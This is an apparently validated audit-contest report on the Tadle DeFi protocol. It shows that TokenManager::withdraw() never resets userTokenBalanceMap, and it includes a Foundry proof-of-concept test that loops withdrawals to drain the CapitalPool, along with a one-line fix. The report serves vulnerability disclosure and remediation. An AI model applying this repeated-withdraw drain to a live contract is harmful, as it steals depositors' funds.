Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Lack of account's token balance update, allows users to steal funds from the `CapitalPool`

dimah7

Summary

Offer creators and stock traders accrue revenue from tax income, sales or bonuses. The TokenManagerStorage::userTokenBalanceMap mapping is used to keep track of users income accordingly, and is updated everytime when TokenManager::addTokenBalance() is called:

function addTokenBalance(
TokenBalanceType _tokenBalanceType,
address _accountAddress,
address _tokenAddress,
uint256 _amount
) external onlyRelatedContracts(tadleFactory, _msgSender()) {
userTokenBalanceMap[_accountAddress][_tokenAddress][_tokenBalanceType] += _amount;
...
​

However amounts are only added, but when withdrawing they are never deducted, thus allowing a user to withdraw multiple times and drain the CapitalPool contract's token balances, which is accountable for storing funds from trades and collateral deposits.

Vulnerability Details

Users can withdraw funds by calling TokenManager::withdraw() function:

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
​
if (claimAbleAmount == 0) {
return;
}
​
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
​
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
​
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
...
}

As can be seen the withdrawable amount is retrieved using the mapping, and then used as amount parameter for token transfers. The problem is that the userTokenBalanceMap is not updated accordingly, by deducting the transfered amount. This allows users to call withdraw() repeatedly and steal from the protocol.

To execute the attack from the provided PoC bellow, first a fix for an issue, disclosed in different report must be implemented. They are reported separately, because the root cause is different, since withdraw() internally calls _transfer, implement the following recommendation then run the PoC test:

function _transfer(
address _token,
address _from,
address _to,
uint256 _amount,
address _capitalPoolAddr
) internal {
...
- ICapitalPool(_capitalPoolAddr).approve(address(this));
+ ICapitalPool(_capitalPoolAddr).approve(_token);
...

PoC:

Add the following test in the PreMarkets.t.sol file, and run forge test --mt testMultipleWithdraws

function testMultipleWithdraws() public {
address alice = makeAddr("Alice");
address bob = makeAddr("Bob");
​
deal(alice, 1.2e18);
deal(bob, 1.035e18);
vm.prank(alice);
preMarktes.createOffer{value: 1.2e18}(
CreateOfferParams(
marketPlace,
address(weth9),
1000,
1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
​
vm.prank(bob);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker{value: 1.035e18}(offerAddr, 1000);
// capital pool balance check
assert(weth9.balanceOf(address(capitalPool)) == 1.2e18 + 1.035e18);
​
// 0.3 ETH
uint256 taxIncomeForAlice = tokenManager.userTokenBalanceMap(alice, address(weth9), TokenBalanceType.TaxIncome);
​
vm.startPrank(alice);
while (weth9.balanceOf(address(capitalPool)) >= taxIncomeForAlice) {
tokenManager.withdraw(address(weth9), TokenBalanceType.TaxIncome);
}
vm.stopPrank();
​
// alice's balance should be only 0.3 ETH, but is much more
assert(alice.balance > 0.3 ether);
}

Impact

  • High, as funds are directly at risk

Tools Used

Manual Review

Recommendations

Update the balance mapping accordingly after value transfer:

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
​
if (claimAbleAmount == 0) {
return;
}
​
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] -= claimAbleAmount;
...
Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.